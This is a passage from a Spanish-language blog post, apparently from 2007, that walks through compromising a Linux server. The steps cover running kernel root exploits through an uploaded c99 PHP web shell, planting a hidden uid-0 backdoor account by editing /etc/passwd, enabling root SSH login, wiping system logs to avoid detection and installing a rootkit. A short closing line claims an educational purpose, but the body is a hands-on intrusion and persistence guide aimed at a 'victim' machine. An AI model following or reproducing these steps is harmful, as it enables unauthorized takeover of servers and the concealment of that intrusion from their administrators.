<p>Da por resultado la siguiente  información:<br />
Linux (hostname del usuario) (versión del Kernel) #1  (fecha de creación de ese Kernel) (arquitectura del procesador)<br />
Un  ejemplo puede ser:</p>
<p>Linux localhost 2.4.20 #1 SMP Thu Mar 13  17:45:54 EST 2003 i686</p>
<p>Como vemos, lo mejor será utilzar algún  exploit de esa rama de Kernel (2.4.x), así que subimos el exploit que  queramos de ese directorio (sugiero empezar por el primero), le damos  permisos de ejecución e intentamos ejecutarlo.<br />
Cada vez que probemos  el exploit y este termine de ejecutarse, escribiremos el comando id, y  habremos conseguido permisos de root si nos sale algo como esto:</p>
<p>uid=0(root)  gid=0(root) groups=0(root)</p>
<p>Si en lugar de eso sale el nombre de  un usuario normal y el grupo de usuarios, quiere decir que el exploit no  ha funcionado, así que debemos bajar otro e ir probando hasta lograrlo.</p>
<p>Una  vez que hayas conseguido permisos de root, podrás seguir con el cuarto  paso:</p>
<ul>
<li><strong>4_ Agregar usuario root para poder conectar mediante SSH:</strong></li>
</ul>
<p>Ya tienes permisos de root, así que ahora podrás agregar un  usuario, luego darle permisos de root a ese usuario así podrás  conectarte a el mediante SSH (para más comodidad, y además por si llegan  a borrar la shell php que te permitió entrar allí).</p>
<p>Si queremos  que nuestro usuario se llame t00r, escribimos el siguiente comando:</p>
<p>useradd  t00r -d /root -g 0 -p lapassquetuquieras -s /bin/bash</p>
<p>-d es para  establecer el directorio de ese usuario, en este caso pusimos /root,  que es un directorio ya existente, así nadie se da cuenta de que ha  habido cambios en el ordenador.<br />
-g es para establecer el número del  grupo, en este caso es el 0, que pertenece al root.<br />
-p es para  establecer la password para ese usuario, la cual debe tener por lo menos  6 carácteres<br />
-s es para establecer que tipo de shell usará ese  usuario. La más común es bash, aunque puedes elegir la que tu quieras.</p>
<p>Una  vez agregado el usuario, puedes proceder a darle permisos de root de la  siguiente forma:<br />
Editar el archivo passwd. Para eso deberás primero  copiarlo a algún lugar que sea accesible desde la web (así podremos usar  un script PHP que subamos para editarlo).<br />
Suponiendo que el  directorio en donde se ecuentra la shell PHP es: /home/usuario1/www,  debemos poner:</p>
<p>cp /etc/passwd /home/usuario1/www/passwd</p>
<p>Ahora  debemos darle a dicho archivo permiso de lectura y escritura por  cualquier usuario (666). Nos situamos en el directorio en donde lo hemos  copiado, y escribimos:</p>
<p>chmod 666 passwd</p>
<p>Ahora puedes  subir algún script PHP que te permita modificar dicho archivo, o  utilizar la misma shell PHP si lo permite (ya que la que más comunmente  encontraremos es la que permite editar, descargar y eliminar archivos).<br />
Si  no tienes dicha shell, súbela al servidor. Una vez subida cámbiale la  extensión txt por php, situándote en el directorio donde esta se  encuentra, y con el comando:</p>
<p>mv c99.txt c99.php</p>
<p>Ahora  entra a la shell, busca el archivo y edítalo. Ahora debes buscar una  línea como esta:</p>
<p>t00r:x:1003:0::/root:/bin/bash</p>
<p>El 1003 es  el uid del usuario (id único) que se le asignó en ese momento (varía  según cuantos usuarios haya en ese ordenador). O sea, si el último  usuario agregado antes de t00r tiene el uid 501, t00r tendrá el 502.<br />
El  0 como dijimos antes, es el número del grupo root.<br />
Etc etc.<br />
Ahora  debemos cambiar ese 1003 por el uid de root (0), de forma que quedaría  así:</p>
<p>t00r:x:0:0::/root:/bin/bash</p>
<p>Luego de editarlo dale  los permisos que tenía antes (644, que es que pueda ser nada más editado  y leido por el root, y por los demás solamente leído) de la siguiente  forma:<br />
Ve a la shell rooteada, luego al lugar donde has copiado el  archivo passwd y escribe:</p>
<p>chmod 644 passwd</p>
<p>Ahora cópialo a  su lugar original:</p>
<p>cp passwd /etc/passwd</p>
<p>Con esto ya  estás listo para el siguiente paso:</p>
<ul>
<li><strong>5_ Configurar SSHD en caso de ser necesario para poder  conectar al ordenador víctima mediante SSH con nuestro usuario root.</strong></li>
</ul>
<p>Para mirar el puerto en el que SSHD está funcionando (o  funcionará cuando lo activemos) revisaremos la configuración con el  siguiente comando:</p>
<p>cat /etc/ssh/sshd_config | grep Port</p>
<p>Debería  salirnos algo como:</p>
<p>Port 22<br />
GatewayPorts no</p>
<p>Port es el  puerto en donde SSHD funciona al iniciarlo. (Este puede variar según lo  que haya elegido el que editó el archivo anteriormente). El que viene  por defecto al instalar SSHD es el 22.<br />
Si esa línea tiene antes de  todo un #, significa que está comentada, y que será ignorada por el SSHD  al iniciarse, y se tomará la orden por defecto, en este caso el puerto  22.<br />
Para evitar que SSHD nos impida loguearnos con nuestro usuario  root, lo mejor es que revisemos si permite logueos remotos con usuarios  root. Esto lo hacemos de la siguiente forma:</p>
<p>cat  /etc/ssh/sshd_config | grep PermitRootLogin</p>
<p>Debería aparecernos  algo como:</p>
<p>PermitRootLogin yes</p>
<p>Si esa línea está  comentada, el servidor toma como que están permitidos los logins remotos  con usuarios root. Ejemplo:</p>
<p>#PermitRootLogin yes</p>
<p>O sino:</p>
<p>#PermitRootLogin  no</p>
<p>De cualquier forma el servidor dejará hacer el login.<br />
Si  la línea está puesto en yes, o está comentada, podemos seguir con el  paso número 6.<br />
Si no dice yes y la línea no está comentada, significa  que el login remoto con usuarios root está desactivado, así que debemos  cambiarlo por yes.<br />
Para eso repetimos el procedimiento del paso  número 4 (cuando editamos el archivo passwd). Pero esta vez con el  archivo /etc/ssh/sshd_config, buscamos la línea mencionada anteriormente  (PermitRootLogin), la cambiamos por yes, y antes de copiarlo a su lugar  de origen le damos los permisos 640.</p>
<p>Ahora puedes seguir con el  siguiente paso:</p>
<ul>
<li><strong>6_ Activando o reiniciando SSHD en caso de ser necesario:</strong></li>
</ul>
<p>Para poder conectar mediante SSH al ordenador víctima y usar tu  usuario con permisos de root, primero nesecitarás ver si SSHD (Secure  Shell Daemon) está activo.<br />
Escribe:</p>
<p>ps ax | grep sshd</p>
<p>ps  es para mostrar los procesos del sistema.<br />
a es para mostrar todos  los procesos.<br />
x es para mostrar incluso los procesos que están  corriendo mediante consola de texto.<br />
| es una tubería que indica que  la información dada será enviada a otro programa.<br />
grep es un programa  que filtra el texto de un archivo o comando, y muestra nada más la  línea completa en donde está el texto que introducistes (en este caso  sshd). Así mostrará nada más la información de SSHD.<br />
Si SSHD está  funcionando, debería aparecerte algo como esto:</p>
<p>8505 ?         Ss     0:00 /usr/sbin/sshd</p>
<p>Si no aparece nada es porque no está  funcionando.<br />
Si habíamos cambiamos la configuración de SSHD (paso 5) y  el mismo está activo, deberemos reiniciarlo para que se apliquen los  cambios.<br />
Obviamente para activar o reiniciar SSHD primero debemos  localizarlo, esto lo hacemos con el comando:</p>
<p>locate sshd | grep  /etc</p>
<p>Debería aparecer algo como esto:</p>
<p>/etc/ssh/sshd_config<br />
/etc/init.d/sshd</p>
<p>O  así:</p>
<p>/etc/ssh/sshd_config<br />
/etc/rc.d/rc.sshd</p>
<p>(Obviamente  la segunda opción de cada caso es SSHD).<br />
Para reiniciar SSHD  escribimos (suponiendo que es el primer caso o sea /etc/init.d/sshd):</p>
<p>/etc/init.d/sshd  restart</p>
<p>O si SSHD no estaba iniciado lo activamos con el  comando:</p>
<p>/etc/init.d/sshd start</p>
<p>Si todo sale bien ya  estamos listos para el siguiente paso:</p>
<ul>
<li><strong>7_ Conectando mediante SSH con tu usuario root:</strong></li>
</ul>
<p>Ahora, para conectarte hacerlo si tienes GNU/Linux o alguna  variante de Unix escribe:<br />
Si el puerto en la config de SSHD era 22,  no hace falta que lo especifiquemos, así que deberíamos escribir:</p>
<p>ssh  ipdelhost -l t00r</p>
<p>-l es para especificar el usuario con el que  te quieres conectar (en este caso t00r).</p>
<p>Pero si era otro puerto,  por ej, 516, debemos escribir:</p>
<p>ssh ipdelhost -p 516 -l t00r</p>
<p>-p  obviamente, es para especificar el puerto.</p>
<p>Desde Windows puedes  usar algún cliente de terminal (por ej <a href="http://the.earth.li/%7Esgtatham/putty/0.60/x86/putty.exe" target="_blank">PuTTY</a>), al abrirlo colocamos la ip del host y el  puerto y clickeamos en conectar.</p>
<p>Una vez que ya has conectado  puedes ir el siguiente paso:</p>
<ul>
<li><strong>8_ Utilizando limpiadores de logs:</strong></li>
</ul>
<p>Una vez que ya has hecho todo, lo que más conviene es usar un  limpiador de logs. ¿Por qué?<br />
La respuesta es esta: Muchas de tus  acciones quedan guardadas en varios logs del sistema, por lo que es  conveniente (para evitar que los administradores descubran tu ip o algún  dato tuyo que pueda llevarlos a denunciarte), borrar dichos logs.<br />
Para  eso puedes usar cualquier delogger. En este caso usaremos deloger.<br />
Simplemente  súbelo, dale permisos con chmod +x y ejecútalo con ./deloger, estando  en la shell de la víctima en modo root.</p>
<ul>
<li><strong>9_ Rootkits (Opcional):</strong></li>
</ul>
<p>Advertencia:  Algunos rootkits pueden hacer que no puedan verse ciertos archivos, ya  que para eso están hechos (para ocultar archivos, usuarios y procesos).  El rootkit que se ofrece a continuación no ha sido probado por mi, de  forma que no puedo garantizar que funcione de la manera esperada. Úsalos  bajo tu propia responsabilidad.</p>
<p>Como dice <a href="http://es.wikipedia.org/wiki/Rootkit" target="_blank">Wikipedia</a>:  &#8220;Un rootkit oculta inicios de sesión (logins), procesos, archivos y  registros (logs). Puede incluir software para interceptar datos  procedentes de terminales, conexiones de red e incluso el teclado  (keylogger).&#8221;<br />
Explicado de otra manera, un rootkit nos servirá para  pasar inadvertidos ante los administradores del ordenador que hemos  rooteado.<br />
Primero lo descomprimimos con el siguiente comando:</p>
<p>tar  xvf toolkit.tar.gz</p>
<p>Vamos a la carpeta del toolkit, damos permiso  de ejecución a install con chmod +x install, y lo ejecutamos:</p>
<p>./install</p>
<p>Nada  más.</p>
<ul>
<li><strong>10_ Aclaraciones finales:</strong></li>
</ul>
<p>Este texto, ha sido publicado con fines educativos. ¿Con que  objetivo? Simple. Mediante este artículo quiero demostrar la facilidad  con la que hoy en día puede quebrantarse la seguridad de un servidor u  ordenador común y corriente. Además quiero mostrar de que forma un  atacante se va haciendo con el control del ordenador o servidor víctima,  así los que lean este artículo podrán aprender a mejorar la seguridad  de los mismos.</p>
<p style="text-align: center;"><a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/3.0/"><img style="border-width: 0;" src="http://i.creativecommons.org/l/by-nc-nd/3.0/88x31.png" alt="Creative Commons License" /></a><br />
This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/3.0/">Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 Unported License</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sarckz.com.ar/2007/06/09/rooteando-un-servidor-con-gnulinux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
